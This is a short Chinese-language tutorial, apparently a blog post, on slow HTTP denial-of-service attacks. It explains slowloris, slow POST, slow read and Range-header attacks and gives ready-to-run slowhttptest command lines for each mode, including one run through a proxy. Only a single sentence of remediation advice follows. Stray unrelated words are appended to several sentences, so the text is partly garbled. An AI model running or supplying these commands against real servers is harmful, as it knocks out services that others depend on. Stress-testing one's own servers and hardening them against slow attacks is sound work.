慢速dos攻擊

工具:slowhttptest

攻擊模式:

slowloris:完整的http請求是以\r\n\r\n結尾,攻擊時僅發送\r\n,少發送一個\r\n,服務器認爲請求還未發完,就會一直等待直至超時。等待過程當中佔用鏈接數達到服務器鏈接數上限,服務器便沒法處理其餘請求。web

slow http post:原理和slowloris有點相似,此次是經過聲明一個較大的content-length後,body緩慢發送,致使服務器一直等待。canvas

slow read attack:向服務器發送一個正常合法的read請求,請求一個很大的文件,但把TCP滑動窗口設置的很小,服務器就會以滑動窗口的大小切割文件,而後發送。文件長期滯留在內存中,消耗資源。這裏有兩點要注意:1.tcp窗口設置要比服務器的socket緩存小,這樣發送才慢。    2.請求的文件要比服務器的socket緩存大,使得服務器沒法一會兒將文件放到緩存,而後去處理其餘事情,而是必須不停的將文件切割成窗口大小,再放入緩存,同時攻擊端一直說本身收不到。瀏覽器


slowhttptest安裝

kali直接安裝 apt install slowhttptest緩存

實例:

slowloris模式:

slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u "url" -x 24 -p 3

slow post模式:

slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u "url" -x 10 -p 3

slow read模式:

slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u "url" -p 3

Range Header test:在http請求的RANGE HEADER中包含大量字段,使得服務器在服務端將一個很小的文件分割成大量的更小的片斷再壓縮。分段壓縮過程消耗大量的服務器資源,致使DOS。
slowhttptest -R -u "url" -t HEAD -c 1000 -a 10 -b 3000 -r 500

測試的時候,添加代理

slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u url -p 5 -l 350 -e lhost:lport

而後查看瀏覽器網絡鏈接時間對比
image
image
明顯鏈接超時,異常訪問時間。

修復建議:

對web服務器的HTTP頭部傳輸的最大許可時間進行限制,修改爲最大許可時間爲20秒
canvas
相關文章
相關標籤/搜索